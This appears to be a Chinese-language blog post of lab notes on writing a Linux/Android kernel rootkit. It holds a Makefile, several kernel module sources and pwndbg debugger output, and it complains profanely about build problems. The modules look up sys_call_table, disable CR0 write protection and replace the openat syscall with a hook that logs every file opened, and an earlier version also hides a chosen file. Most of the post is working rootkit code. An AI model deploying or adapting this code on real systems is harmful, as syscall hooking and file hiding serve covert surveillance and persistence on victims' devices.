total 0
drwxr-xr-x 2 0 0 0 Dec 17 07:43 .
drwxr-xr-x 5 0 0 0 Dec 17 07:43 ..
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .bss
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .gnu.linkonce.this_module
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .note.gnu.build-id
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .rodata.str1.1
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .rodata.str1.8
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .strtab
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .symtab
-r--r--r-- 1 0 0 4096 Dec 17 07:43 .text
-r--r--r-- 1 0 0 4096 Dec 17 07:43 __mcount_loc
/ # cat /sys/module/myModule/sections/.text
0xffffffffc0000000
查看text段
makefile 文件
KERNEL_DIR=/root/kernel/linux-4.1.1
DRVNAME=myModule
PWD=$(shell pwd)
obj-m+=$(DRVNAME).o
#$(DRVNAME)-objs := $(DRVNAME).o
EXTRA_CFLAGS = -g
define complie_file
@echo "[*]complie file $(basename $(1)) "
gcc $(1) -o $(basename $(1)) -static -no-pie -g
cp $(basename $(1)) /root/kernel/busybox-1.25.0/_install/
chmod 755 /root/kernel/busybox-1.25.0/_install/$(basename $(1))
endef
build:
$(warning $(KERNEL_DIR))
$(warning $(PWD))
$(warning $(DRVNAME)-objs)
$(warning make -C $(KERNEL_DIR) M=$(PWD) modules)
make -C $(KERNEL_DIR) M=$(PWD) modules
rm *.o *.order *.symvers *.mod.c
cp $(DRVNAME).ko /root/kernel/busybox-1.25.0/_install/
#gcc hook.c -o hook -static -no-pie -g
#cp hook /root/kernel/busybox-1.25.0/_install/
#gcc test_kmem.c -o test_kmem -static -no-pie -g
#cp hook /root/kernel/busybox-1.25.0/_install/
$(call complie_file,hook.c)
$(call complie_file,test_kmem.c)
chmod 755 /root/kernel/busybox-1.25.0/_install/$(DRVNAME).ko
TEST:
$(call complie_file,test.c)
驱动代码
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/kallsyms.h>
MODULE_LICENSE("GPL");
asmlinkage int (*real_openat)(int, const char __user*, int);
void **my_sys_table;
// 替换Android系统调用的新的new_openat函数
int new_openat(int dirfd, const char __user* pathname, int flags)
{
char *kbuf;
size_t len;
// 在内核中申请内存空间
kbuf=(char*)kmalloc(256, GFP_KERNEL);
// 获取需要打开的文件的文件路径
len = strncpy_from_user(kbuf, pathname,255);
// 过滤,隐藏掉/data/local/tmp/nowyouseeme文件
if (strcmp(kbuf, "/data/local/tmp/nowyouseeme") == 0)
{
printk("Hiding file!\n");
return -ENOENT;
}
// 释放申请的内存空间
kfree(kbuf);
// 调用Android系统原来的系统调用openat函数
return real_openat(dirfd, pathname, flags);
}
// ########### 将被加载的Android内核模块 ###############
static int init_hook_module(void) {
// 前面查找的内存地址
printk("./hook ffffffff81800680 322 ffffffffc0000000\n");
my_sys_table = (void*) kallsyms_lookup_name("sys_call_table");
//sys_call_table = (void*)(0xffffffff81000000+0x800680);
// 获取Android系统的openat函数的调用地址
real_openat = (void*)(my_sys_table[__NR_openat]);
return 0;
}
static void exit_module(void) {
printk("Fuck leaving\n");
}
module_init(init_hook_module);
module_exit(exit_module);
gdb 调试
target remote :1234
然后下断点在init_hook_module
用cat /proc/kallsyms | grep myModule 去找
然后在找到text段
add-symbol-file myModule.ko 0xffffffffc0000000 (前提得加-g EXTRA_CFLAGS = -g)
pwndbg> add-symbol-file myModule.ko 0xffffffffc0000000
add symbol table from file "myModule.ko" at
.text_addr = 0xffffffffc0000000
Reading symbols from myModule.ko...done.
pwndbg> n
ERROR: Could not find ELF base!
45 printk("./hook ffffffff81800680 322 ffffffffc0000000\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────
RAX 0xffff88000eae8001 ◂— add byte ptr [rax], al /* 0x6000000000000000 */
RBX 0xffffffff81c13060 ◂— 0xffffffff81c13060
RCX 0x560
RDX 0x55f
RDI 0xffff88000e801c00 ◂— and byte ptr [rcx + rax], ah /* 0x1a420 */
RSI 0xffff88000f81a420 —▸ 0xffff88000eae8040 —▸ 0xffff88000eae8080 ◂— 0
R8 0x1a420
R9 0xffffea00003aba00 ◂— add byte ptr [rax], 0 /* 0x1fffff80000080 */
R10 0xffffffff81002120 ◂— cmp byte ptr [rip + 0xf4aed9], 0 /* 0x750000f4aed93d80 */
R11 0xffffffffc000240d ◂— js 0xffffffffc0002479 /* 0x646f6d5f74697865; 'exit_module' */
R12 0xffff88000eae8040 —▸ 0xffff88000eae8080 ◂— 0
R13 0x0
R14 0xffffffffc0000090 ◂— nop dword ptr [rax + rax] /* 0xc748550000441f0f */
R15 0xffffffffc00001a0 ◂— 1
RBP 0xffff88000d68fd38 —▸ 0xffff88000d68fd68 —▸ 0xffff88000d68fe98 —▸ 0xffff88000d68ff48 —▸ 0x7ffcca5c45f0 ◂— ...
RSP 0xffff88000d68fcc8 —▸ 0xffff88000d68fd38 —▸ 0xffff88000d68fd68 —▸ 0xffff88000d68fe98 —▸ 0xffff88000d68ff48 ◂— ...
RIP 0xffffffffc0000096 ◂— mov rdi, -0x3ffffea8 /* 0x31c0000158c7c748 */
────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
0xffffffffc0000090 nop dword ptr [rax + rax]
0xffffffffc0000095 push rbp
► 0xffffffffc0000096 mov rdi, -0x3ffffea8
0xffffffffc000009d xor eax, eax
0xffffffffc000009f mov rbp, rsp
0xffffffffc00000a2 call 0xffffffff817ed1eb
0xffffffffc00000a7 mov rdi, -0x3ffffec6
0xffffffffc00000ae call 0xffffffff81102c30
0xffffffffc00000b3 mov qword ptr [rip + 0x35e], rax
0xffffffffc00000ba mov rax, qword ptr [rax + 0x808]
0xffffffffc00000c1 pop rbp
─────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────
In file: /root/kernel/module/myModule.c
40
41 // ########### 将被加载的Android内核模块 ###############
42 static int init_hook_module(void) {
43
44 // 前面查找的内存地址
► 45 printk("./hook ffffffff81800680 322 ffffffffc0000000\n");
46 my_sys_table = (void*) kallsyms_lookup_name("sys_call_table");
47 //sys_call_table = (void*)(0xffffffff81000000+0x800680);
48
49 // 获取Android系统的openat函数的调用地址
50 real_openat = (void*)(my_sys_table[__NR_openat]);
─────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000│ rsp 0xffff88000d68fcc8 —▸ 0xffff88000d68fd38 —▸ 0xffff88000d68fd68 —▸ 0xffff88000d68fe98 —▸ 0xffff88000d68ff48 ◂— ...
01:0008│ 0xffff88000d68fcd0 —▸ 0xffffffff8100212c ◂— mov ebx, eax /* 0x9723058b65c389 */
02:0010│ 0xffff88000d68fcd8 —▸ 0xffff88000d686280 —▸ 0xffff88000d686340 —▸ 0xffff88000d686380 —▸ 0xffff88000d6863c0 ◂— ...
03:0018│ 0xffff88000d68fce0 ◂— 0x1d
04:0020│ 0xffff88000d68fce8 —▸ 0xffff88000d686280 —▸ 0xffff88000d686340 —▸ 0xffff88000d686380 —▸ 0xffff88000d6863c0 ◂— ...
05:0028│ 0xffff88000d68fcf0 —▸ 0xffffffff811dc8c9 ◂— mov r9, qword ptr [rbp - 0x40] /* 0xfffe93e9c04d8b4c */
06:0030│ 0xffff88000d68fcf8 —▸ 0xffffffff817ed5cc ◂— test rax, rax /* 0x13d840fc08548 */
07:0038│ 0xffff88000d68fd00 ◂— 0x18
───────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────
► f 0 ffffffffc0000096
f 1 ffffffff8100212c
f 2 ffff88000d686280
f 3 1d
f 4 ffff88000d686280
f 5 ffffffff811dc8c9
f 6 ffffffff817ed5cc
f 7 18
f 8 ffff88000d686280
f 9 ffffffffc00001a0
f 10 ffffffffc00001a0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
坑点:
驱动建的/dev/下面的不显示
需要自己去手工执行下
mknod /dev/chardev c 248 0
/root/kernel/module/HookModule.c:65:20: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
.unlocked_ioctl = xxx_ioctl,
报这个错是因为ioctl定义的类型不对(网上搜了半天没找到,还是自己动手吧)
必须去读你编译对应版本的源码在fs.h文件里面(类型改来改去的不嫌麻烦吗?对话写linux的)
也就是这个结构的类型
所以改成这种
他么的还得注意返回的变量也得一样,又浪费我一个小时。
然后说下后面如果mknod 找不到设备就是主从设备号不对
ret = alloc_chrdev_region(&xxx_devno, DEV_MINOR, 1, DRIVERNAME);
DEV_MINOR为从设备号,主设备号是动态申请的用cat /proc/devices去看
所以就找到我们的fucker了241
我们定义的DEV_MINOR为5
所以看下面的命令
ret = alloc_chrdev_region(&xxx_devno, DEV_MINOR, 1, DRIVERNAME);
if (ret < 0)
{
printk("xxx register char dev failed\n");
goto out;
}
printk("mknod /dev/%s %d %d\n",DRIVERNAME,MAJOR(xxx_devno),DEV_MINOR);
MAJOR能获取到主设备号
MAJOR(0xf100000)==0xf1==241
除此之外了解下这个函数
'0xf100000'
>>> 0xf1
241
MKDEV(241, 0)==0xf100000
/*创建设备节点/sys/class/xxx和/dev/xxx*/
xxx_class = class_create(THIS_MODULE, DRIVERNAME);
if (IS_ERR(xxx_class))
{
ret = PTR_ERR(xxx_class);
goto class_err;
}
device_create(xxx_class, NULL, MKDEV(MAJOR(xxx_devno), DEV_MINOR), NULL, DRIVERNAME);
又他么的一个坑点,劳资都好像把驱动的坑踩完了,真幸运!
device_create 在/dev/ 没有那个块设备就是init脚本出事了
这个脑残东西记得加,又浪费我一个半小时,还是得靠自己摸索
//最终模板///
linux 4.19.110的 对应的是pixel 4
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/ioctl.h>
#define DRIVERNAME "hook_svc"
#define DEV_MINOR 0//chong she bei hao
static dev_t hook_module_devno = 0;
static struct class * hook_module_class;
struct cdev cdev;
/*-----------------------------------------------------------------------------------*/
static int hook_module_open(struct inode *inode, struct file *filp)
{
printk("Fuck you bitch\n");
return 0;
}
static ssize_t hook_module_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
return 0;
}
static ssize_t hook_module_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
return 0;
}
static int hook_module_release(struct inode *inode, struct file *filp)
{
return 0;
}
static long hook_module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int ret = 0;
switch (cmd)
{
case 0:
break;
default:
printk("Error hook_module cmd\n");
break;
}
return 0;
}
/*-----------------------------------------------------------------------------------*/
static struct file_operations hook_module_fops = {
.owner = THIS_MODULE,
.read = hook_module_read,
.write = hook_module_write,
.unlocked_ioctl = hook_module_ioctl,
.open = hook_module_open,
.release= hook_module_release,
};
static int hook_module_init(void)
{
int ret = 0;
/*动态申请设备号*/
ret = alloc_chrdev_region(&hook_module_devno, DEV_MINOR, 1, DRIVERNAME);
if (ret < 0)
{
printk("hook_module register char dev failed\n");
goto out;
}
printk("mknod /dev/%s %d %d\n",DRIVERNAME,MAJOR(hook_module_devno),DEV_MINOR);
/*初始化cdev结构,注册cdev 字符设备的注册*/
cdev_init(&cdev, &hook_module_fops);
cdev.owner = THIS_MODULE;
ret = cdev_add(&cdev, hook_module_devno, 1);
if (ret)
{
printk("Error adding hook_module device\n");
goto add_err;
}
/*创建设备节点/sys/class/hook_module和/dev/hook_module*/
hook_module_class = class_create(THIS_MODULE, DRIVERNAME);
if (IS_ERR(hook_module_class))
{
ret = PTR_ERR(hook_module_class);
goto class_err;
}
device_create(hook_module_class, NULL, MKDEV(MAJOR(hook_module_devno), DEV_MINOR), NULL, DRIVERNAME);
printk("hook_module init\n");
return 0;
class_err:
cdev_del(&cdev);
add_err:
unregister_chrdev_region(hook_module_devno, 1);
out:
return ret;
}
static void hook_module_exit(void)
{
device_destroy(hook_module_class, hook_module_devno);
class_destroy(hook_module_class);
cdev_del(&cdev);
unregister_chrdev_region(hook_module_devno, 1);
printk("module hook_module exit\n");
}
module_init(hook_module_init);
module_exit(hook_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("JackLove");
MODULE_DESCRIPTION("Hook");
继续进行笔记更新,linux rootkit 坑之旅途
源码是这样,结果编出来是这样
把我的call rax变成了 call __x86_indirect_thunk_rax
这不是脑瘫嘛,俗话说不会就找百度找google,但是找了半天还是没有
最后不知怎么的ls -al了下发现了编译选项,然后进去就发现了这个
看着像这沙比加的把它去掉
下面就遇到麻烦了
经过几小时的实验,可以把内核目录的makefile改了
注释掉
还有一种是根据
这几个一步一步生成先gcc 生成.o 文件
ld 生成 ko文件
gcc -Wp,-MD,/root/kernel/module/.HookModule.o.d -nostdinc -isystem /usr/lib/gcc/x86_64-linux-gnu/5/include -I./arch/x86/include -I./arch/x86/include/generated -I./include -I./arch/x86/include/uapi -I./arch/x86/include/generated/uapi -I./include/uapi -I./include/generated/uapi -include ./include/linux/kconfig.h -include ./include/linux/compiler_types.h -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -fshort-wchar -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -mno-avx -m64 -falign-jumps=1 -falign-loops=1 -mno-80387 -mno-fp-ret-in-387 -mpreferred-stack-boundary=3 -mskip-rax-setup -mtune=generic -mno-red-zone -mcmodel=kernel -funit-at-a-time -DCONFIG_X86_X32_ABI -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -DCONFIG_AS_FXSAVEQ=1 -DCONFIG_AS_SSSE3=1 -DCONFIG_AS_CRC32=1 -DCONFIG_AS_AVX=1 -DCONFIG_AS_AVX2=1 -DCONFIG_AS_AVX512=1 -DCONFIG_AS_SHA1_NI=1 -DCONFIG_AS_SHA256_NI=1 -pipe -Wno-sign-compare -fno-asynchronous-unwind-tables -fno-jump-tables -fno-delete-null-pointer-checks -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fstack-protector-strong -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -g -gdwarf-4 -pg -mrecord-mcount -mfentry -DCC_USING_FENTRY -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fno-merge-all-constants -fmerge-constants -fno-stack-check -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -g -O0 -I /root/kernel/linux-4.19.110/include -DMODULE -DKBUILD_BASENAME='"HookModule"' -DKBUILD_MODNAME='"HookModule"' -c -o /root/kernel/module/HookModule.o /root/kernel/module/HookModule.c
ld -r -m elf_x86_64 -z max-page-size=0x200000 -T ./scripts/module-common.lds --build-id -o /root/kernel/module/HookModule.ko /root/kernel/module/HookModule.o /root/kernel/module/HookModule.mod.o
0xffffffff812a23e5 <__x64_sys_openat+5> push rbp
RAX 0xffffffff812a23e0 (__x64_sys_openat) ◂— nop dword ptr [rax + rax] /* 0x578b550000441f0f */
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0xffffc90000073f58 ◂— 0x0
RSI 0xffffc90000073f58 ◂— 0x0
R8 0x0
R9 0x0
R10 0x0
R11 0x0
R12 0xffffc90000073f58 ◂— 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0xffffc90000073f28 —▸ 0xffffc90000073f48 ◂— 0x0
RSP 0xffffc90000073f08 —▸ 0xffffffffc000216b (new_openat+54) ◂— leave /* 0x550000441f0fc3c9 */
RIP 0xffffffff812a23e0 (__x64_sys_openat) ◂— nop dword ptr [rax + rax] /* 0x578b550000441f0f */
─────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────
► 0xffffffff812a23e0 <__x64_sys_openat> nop dword ptr [rax + rax]
0xffffffff812a23e5 <__x64_sys_openat+5> push rbp
0xffffffff812a23e6 <__x64_sys_openat+6> mov edx, dword ptr [rdi + 0x60]
0xffffffff812a23e9 <__x64_sys_openat+9> movzx ecx, word ptr [rdi + 0x38]
0xffffffff812a23ed <__x64_sys_openat+13> mov rsi, qword ptr [rdi + 0x68]
0xffffffff812a23f1 <__x64_sys_openat+17> mov rdi, qword ptr [rdi + 0x70]
0xffffffff812a23f5 <__x64_sys_openat+21> mov rbp, rsp
0xffffffff812a23f8 <__x64_sys_openat+24> or dh, 0x80
0xffffffff812a23fb <__x64_sys_openat+27> call do_sys_open <0xffffffff812a2170>
0xffffffff812a2400 <__x64_sys_openat+32> pop rbp
0xffffffff812a2401 <__x64_sys_openat+33> ret
可以看到参数其实都在rdi 里面 直接hook table
其实只定义一个变量就行了
放一个成功hook openat的代码
/*
#include <linux/kernel.h> printk()
#include <linux/slab.h> kmalloc()
#include <linux/fs.h> everything...
#include <linux/errno.h> error codes
#include <linux/types.h> size_t
#include <linux/fcntl.h> O_ACCMODE
#include <linux/cdev.h>
#include <asm/uaccess.h> copy_*_user
*/
#include "../linux-4.19.110/include/linux/kernel.h"
#include "../linux-4.19.110/include/linux/module.h"
#include "../linux-4.19.110/include/linux/init.h"
#include "../linux-4.19.110/include/linux/device.h"
#include "../linux-4.19.110/include/linux/cdev.h"
#include "../linux-4.19.110/include/linux/fs.h"
#include "../linux-4.19.110/include/asm-generic/ioctl.h"
#include "../linux-4.19.110/include/linux/kallsyms.h"
#include "../linux-4.19.110/include/linux/uaccess.h"
#include "../linux-4.19.110/include/linux/slab.h"
//#include "../linux-4.19.110/include/asm-generic/unistd.h"
#include "HookModule.h"
static dev_t hook_module_devno = 0;
static struct class * hook_module_class;
struct my_def_dev *ptr_my_def_dev; /*设备结构体指针*/
struct cdev cdev;
void **my_sys_call_table;
/*-------------------------------------real funtion---------------------------------------------*/
//asmlinkage int (*real_openat)(int, const char __user *, int);
struct openat_arg
{
int dirfd;
const char __user *pathname;
int flags;
};
asmlinkage long (*real_openat)(int64_t *arg);//, const char __user *filename, int flags,umode_t mode)
/*-------------------------------------hook flag---------------------------------------------*/
bool SYS_HOOK_openat_flag = false;
/*-------------------------------------new funtion---------------------------------------------*/
// 替换Android系统调用的新的new_openat函数
//asmlinkage int new_openat(int dirfd, const char __user *pathname, int flags)
asmlinkage long new_openat(int64_t *arg)
{
char *kbuf;
size_t len;
int dirfd;
const char __user **pathname=(const char __user **)(arg+0x68/sizeof(int64_t));
kbuf = (char *)kmalloc(256, GFP_KERNEL);
len = strncpy_from_user(kbuf, *pathname, 255);
printk("[*]%s (pid=%d, comm=%s)\n", __func__, current->pid, current->comm);
printk("[*]call openat:%s\n",kbuf);
/*
// 获取需要打开的文件的文件路径
len = strncpy_from_user(kbuf, pathname, 255);
// 过滤,隐藏掉/data/local/tmp/nowyouseeme文件
if (strcmp(kbuf, "/data/local/tmp/nowyouseeme") == 0)
{
printk("Hiding file!\n");
return -ENOENT;
}
*/
/*
asm(
"movq $0xffffffff812a23e0,%rax\n"
"call %rax\n"
);
*/
//printk("[*]call openat:%s\n",pathname);
// 释放申请的内存空间
//printk("[*]%s (pid=%d, comm=%s)\n", __func__, current->pid, current->comm);
//printk("[*] call openat");
// 调用Android系统原来的系统调用openat函数
return (*real_openat)(arg);
}
/*-----------------------------------do hook------------------------------------------------*/
static void hook_openat(void)
{
real_openat = (void *)(my_sys_call_table[__NR_openat]);
// turn write protect off
write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
my_sys_call_table[__NR_openat] = new_openat;
// turn write protect back on
write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
SYS_HOOK_openat_flag=true;
}
/*-----------------------------------------------------------------------------------*/
static long hook_module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int err = 0;
int ret = 0;
int ioarg = 0;
/* 根据命令,执行相应的操作 */
switch (cmd)
{
case SYS_HOOK_openat:
if (SYS_HOOK_openat_flag == 0)
{
hook_openat();
}
else
{
printk("[*]openat had hook\n");
}
break;
default:
return -EINVAL;
}
return ret;
}
static int hook_module_open(struct inode *inode, struct file *filp)
{
struct my_def_dev *dev;
/*获取次设备号*/
int num = MINOR(inode->i_rdev);
if (num >= NUM_DEV)
return -ENODEV;
dev = &ptr_my_def_dev[num];
/*将设备描述结构指针赋值给文件私有数据指针*/
filp->private_data = dev;
printk("open success\n");
return 0;
}
static ssize_t hook_module_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
return 0;
}
static ssize_t hook_module_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
return 0;
}
static int hook_module_release(struct inode *inode, struct file *filp)
{
return 0;
}
/*-----------------------------------------------------------------------------------*/
static struct file_operations hook_module_fops = {
.owner = THIS_MODULE,
.read = hook_module_read,
.write = hook_module_write,
.unlocked_ioctl = hook_module_ioctl,
.open = hook_module_open,
.release= hook_module_release,
};
static int hook_module_init(void)
{
int ret = 0;
int i=0;
/*动态申请设备号*/
ret = alloc_chrdev_region(&hook_module_devno, DEV_MINOR, 1, DRIVERNAME);
if (ret < 0)
{
printk("hook_module register char dev failed\n");
goto out;
}
printk("mknod /dev/%s %d %d\n",DRIVERNAME,MAJOR(hook_module_devno),DEV_MINOR);
/*初始化cdev结构,注册cdev 字符设备的注册*/
cdev_init(&cdev, &hook_module_fops);
cdev.owner = THIS_MODULE;
ret = cdev_add(&cdev, hook_module_devno, NUM_DEV);
if (ret)
{
printk("Error adding hook_module device\n");
goto add_err;
}
/*创建设备节点/sys/class/hook_module和/dev/hook_module*/
hook_module_class = class_create(THIS_MODULE, DRIVERNAME);
if (IS_ERR(hook_module_class))
{
ret = PTR_ERR(hook_module_class);
goto class_err;
}
device_create(hook_module_class, NULL, MKDEV(MAJOR(hook_module_devno), DEV_MINOR), NULL, DRIVERNAME);
/* 为设备描述结构分配内存*/
ptr_my_def_dev = kmalloc(NUM_DEV * sizeof(struct my_def_dev), GFP_KERNEL);
if (!ptr_my_def_dev) /*申请失败*/
{
ret = -ENOMEM;
goto class_err;
}
memset(ptr_my_def_dev, 0, NUM_DEV * sizeof(struct my_def_dev));
/*为设备分配内存*/
for (i = 0; i < NUM_DEV; i++)
{
ptr_my_def_dev[i].size = DATA_SIZE;
ptr_my_def_dev[i].data = kmalloc(DATA_SIZE, GFP_KERNEL);
memset(ptr_my_def_dev[i].data, 0, DATA_SIZE);
}
my_sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");
printk("hook_module init\n");
return 0;
class_err:
cdev_del(&cdev);
add_err:
unregister_chrdev_region(hook_module_devno, 1);
out:
return ret;
}
static void hook_module_exit(void)
{
device_destroy(hook_module_class, hook_module_devno);
class_destroy(hook_module_class);
cdev_del(&cdev);
unregister_chrdev_region(hook_module_devno, 1);
printk("module hook_module exit\n");
}
module_init(hook_module_init);
module_exit(hook_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("JackLove");
MODULE_DESCRIPTION("Hook");